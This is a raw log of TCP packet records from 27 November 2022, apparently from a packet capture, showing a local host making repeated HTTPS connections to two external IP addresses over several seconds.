Nov 27, 2022 04:38:14.942384005 CET	49997	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:14.942414999 CET	443	49997	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.058870077 CET	49999	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.058929920 CET	443	49999	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.059145927 CET	49999	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.059672117 CET	49999	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.059701920 CET	443	49999	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.097311020 CET	50000	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.097377062 CET	443	50000	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.097857952 CET	50000	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.098074913 CET	50000	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.098095894 CET	443	50000	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.098170042 CET	443	50000	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.107431889 CET	443	49999	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.107544899 CET	49999	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.109134912 CET	49999	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.109155893 CET	443	49999	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.112271070 CET	49999	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.112289906 CET	443	49999	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.209959984 CET	443	49999	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.210982084 CET	49999	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.211014032 CET	443	49999	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.211463928 CET	49999	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.212491989 CET	49999	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.212587118 CET	443	49999	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.212666035 CET	49999	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.315234900 CET	50001	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.315294981 CET	443	50001	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.316128016 CET	50001	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.316339016 CET	50001	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.316358089 CET	443	50001	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.316504955 CET	443	50001	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.322094917 CET	50002	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.322177887 CET	443	50002	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.322284937 CET	50002	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.324872971 CET	50002	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.324912071 CET	443	50002	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.376923084 CET	443	50002	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.377126932 CET	50002	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.377126932 CET	50002	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.388278008 CET	50002	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.388339996 CET	443	50002	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.388981104 CET	443	50002	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.389061928 CET	50002	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.389695883 CET	50002	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.389712095 CET	443	50002	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.479341030 CET	443	50002	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.479435921 CET	443	50002	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.479459047 CET	50002	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.479506016 CET	50002	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.481117964 CET	50002	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.481151104 CET	443	50002	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.534084082 CET	50003	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.534147978 CET	443	50003	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.534240007 CET	50003	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.534411907 CET	50003	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.534426928 CET	443	50003	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.534507990 CET	443	50003	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.599142075 CET	50004	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.599191904 CET	443	50004	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.599294901 CET	50004	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.600050926 CET	50004	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.600068092 CET	443	50004	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.642380953 CET	443	50004	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.642482042 CET	50004	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.643325090 CET	50004	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.643338919 CET	443	50004	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.646140099 CET	50004	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.646163940 CET	443	50004	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.706845999 CET	50005	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.706938982 CET	443	50005	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.708940983 CET	50005	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.709177971 CET	50005	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.709213018 CET	443	50005	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.709283113 CET	443	50005	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.753448009 CET	443	50004	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.753536940 CET	443	50004	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.753582001 CET	50004	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.753624916 CET	50004	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.757806063 CET	50004	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.757828951 CET	443	50004	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.864881992 CET	50006	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.864969015 CET	443	50006	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.865114927 CET	50006	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.865309954 CET	50006	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:15.865334988 CET	443	50006	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.865518093 CET	443	50006	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:15.866492987 CET	50007	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.866564989 CET	443	50007	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.866652012 CET	50007	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.867012024 CET	50007	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.867044926 CET	443	50007	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.916742086 CET	443	50007	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.918037891 CET	50007	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.918765068 CET	50007	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.918796062 CET	443	50007	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:15.921592951 CET	50007	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:15.921622992 CET	443	50007	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.019124985 CET	443	50007	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.019201994 CET	443	50007	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.019299984 CET	50007	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.021157026 CET	50007	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.021188974 CET	443	50007	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.082334995 CET	50008	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.082412004 CET	443	50008	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.082519054 CET	50008	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.082674980 CET	50008	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.082698107 CET	443	50008	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.082801104 CET	443	50008	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.139106989 CET	50009	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.139169931 CET	443	50009	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.139298916 CET	50009	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.139938116 CET	50009	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.139956951 CET	443	50009	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.184624910 CET	443	50009	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.186479092 CET	50009	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.187153101 CET	50009	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.187180042 CET	443	50009	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.190171957 CET	50009	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.190193892 CET	443	50009	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.237004042 CET	50010	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.237062931 CET	443	50010	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.237153053 CET	50010	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.237364054 CET	50010	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.237371922 CET	443	50010	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.237441063 CET	443	50010	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.287554026 CET	443	50009	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.287651062 CET	50009	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.287679911 CET	443	50009	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.287740946 CET	50009	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.287749052 CET	443	50009	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.287808895 CET	50009	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.287929058 CET	50009	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.287950039 CET	443	50009	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.396209955 CET	50011	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.396292925 CET	443	50011	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.396404982 CET	50011	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.396928072 CET	50011	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.396962881 CET	443	50011	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.409279108 CET	50012	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.409368038 CET	443	50012	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.409490108 CET	50012	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.409682035 CET	50012	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.409706116 CET	443	50012	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.409802914 CET	443	50012	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.441870928 CET	443	50011	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.442131042 CET	50011	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.442708969 CET	50011	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.442734957 CET	443	50011	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.445455074 CET	50011	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.445483923 CET	443	50011	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.544786930 CET	443	50011	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.544938087 CET	443	50011	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.545139074 CET	50011	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.545372009 CET	50011	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.545414925 CET	443	50011	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.627768993 CET	50013	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.627841949 CET	443	50013	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.628204107 CET	50013	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.628375053 CET	50013	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.628391981 CET	443	50013	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.628443956 CET	443	50013	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.660485029 CET	50014	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.660547018 CET	443	50014	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.661123991 CET	50014	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.661554098 CET	50014	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.661573887 CET	443	50014	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.708189011 CET	443	50014	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.708417892 CET	50014	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.709091902 CET	50014	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.709117889 CET	443	50014	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.712131023 CET	50014	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.712161064 CET	443	50014	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.768436909 CET	50015	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.768492937 CET	443	50015	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.768573046 CET	50015	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.768759012 CET	50015	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.768774986 CET	443	50015	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.768831015 CET	443	50015	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.830590963 CET	443	50014	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.830791950 CET	50014	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.830845118 CET	443	50014	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.831008911 CET	50014	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.832866907 CET	50014	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.832982063 CET	443	50014	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.833090067 CET	50014	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.942708969 CET	50016	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.942794085 CET	443	50016	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.942903996 CET	50016	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.943259954 CET	50016	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.943276882 CET	443	50016	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.955873966 CET	50017	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.955960989 CET	443	50017	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.956082106 CET	50017	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.956295967 CET	50017	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:16.956336975 CET	443	50017	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.956396103 CET	443	50017	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:16.993107080 CET	443	50016	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.993340015 CET	50016	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.999197006 CET	50016	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:16.999250889 CET	443	50016	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.999722958 CET	443	50016	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:16.999816895 CET	50016	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.000699997 CET	50016	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.000727892 CET	443	50016	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.094671965 CET	443	50016	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.094866037 CET	443	50016	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.094899893 CET	50016	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.095113039 CET	50016	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.095202923 CET	50016	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.095230103 CET	443	50016	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.175075054 CET	50018	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.175151110 CET	443	50018	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.175257921 CET	50018	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.175436020 CET	50018	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.175463915 CET	443	50018	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.175561905 CET	443	50018	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.215081930 CET	50019	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.215159893 CET	443	50019	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.215255976 CET	50019	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.215948105 CET	50019	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.215976954 CET	443	50019	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.268544912 CET	443	50019	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.268723965 CET	50019	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.269292116 CET	50019	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.269320011 CET	443	50019	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.272100925 CET	50019	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.272129059 CET	443	50019	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.316220999 CET	50020	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.316303968 CET	443	50020	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.316503048 CET	50020	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.316684961 CET	50020	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.316699982 CET	443	50020	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.316862106 CET	443	50020	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.371300936 CET	443	50019	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.371591091 CET	50019	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.371649027 CET	443	50019	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.371788025 CET	50019	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.371854067 CET	50019	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.372014999 CET	443	50019	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.372123003 CET	50019	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.489515066 CET	50021	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.489612103 CET	443	50021	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.489783049 CET	50021	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.490164042 CET	50021	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.490197897 CET	443	50021	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.502934933 CET	50022	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.503030062 CET	443	50022	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.503192902 CET	50022	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.503340960 CET	50022	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.503362894 CET	443	50022	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.503428936 CET	443	50022	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.535685062 CET	443	50021	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.535912991 CET	50021	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.541008949 CET	50021	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.541064024 CET	443	50021	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.541491032 CET	443	50021	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.541584015 CET	50021	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.542155027 CET	50021	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.542172909 CET	443	50021	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.643644094 CET	443	50021	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.643891096 CET	443	50021	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.643933058 CET	50021	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.643994093 CET	50021	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.644141912 CET	50021	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.644184113 CET	443	50021	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.722223997 CET	50023	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.722290993 CET	443	50023	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.722419024 CET	50023	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.722645998 CET	50023	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.722660065 CET	443	50023	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.722799063 CET	443	50023	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.755383015 CET	50024	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.755454063 CET	443	50024	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.755542994 CET	50024	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.756006002 CET	50024	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.756047964 CET	443	50024	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.804615974 CET	443	50024	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.804883957 CET	50024	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.805464029 CET	50024	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.805485964 CET	443	50024	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.808368921 CET	50024	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.808387995 CET	443	50024	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.862746954 CET	50025	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.862814903 CET	443	50025	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.863019943 CET	50025	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.863306046 CET	50025	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:17.863323927 CET	443	50025	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.863389015 CET	443	50025	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:17.911253929 CET	443	50024	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.911428928 CET	443	50024	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:17.911509037 CET	50024	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.911509037 CET	50024	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.917540073 CET	50024	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:17.917610884 CET	443	50024	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.023662090 CET	50026	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.023756981 CET	443	50026	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.024107933 CET	50026	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.024512053 CET	50026	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.024532080 CET	443	50026	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.050129890 CET	50027	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.050220013 CET	443	50027	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.050333023 CET	50027	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.050508022 CET	50027	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.050540924 CET	443	50027	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.050594091 CET	443	50027	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.074203014 CET	443	50026	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.074383974 CET	50026	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.075151920 CET	50026	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.075175047 CET	443	50026	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.081171036 CET	50026	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.081209898 CET	443	50026	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.184551001 CET	443	50026	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.184676886 CET	50026	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.184727907 CET	443	50026	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.184792042 CET	50026	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.184923887 CET	50026	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.184988022 CET	443	50026	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.185056925 CET	50026	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.269445896 CET	50028	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.269545078 CET	443	50028	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.269673109 CET	50028	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.269850016 CET	50028	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.269869089 CET	443	50028	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.270164967 CET	443	50028	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.302530050 CET	50029	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.302598000 CET	443	50029	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.302690983 CET	50029	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.303148985 CET	50029	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.303174019 CET	443	50029	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.346692085 CET	443	50029	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.346822023 CET	50029	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.356676102 CET	50029	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.356704950 CET	443	50029	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.357356071 CET	443	50029	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.357465029 CET	50029	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.358253002 CET	50029	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.358268976 CET	443	50029	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.409074068 CET	50030	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.409109116 CET	443	50030	51.195.77.248	192.168.2.5
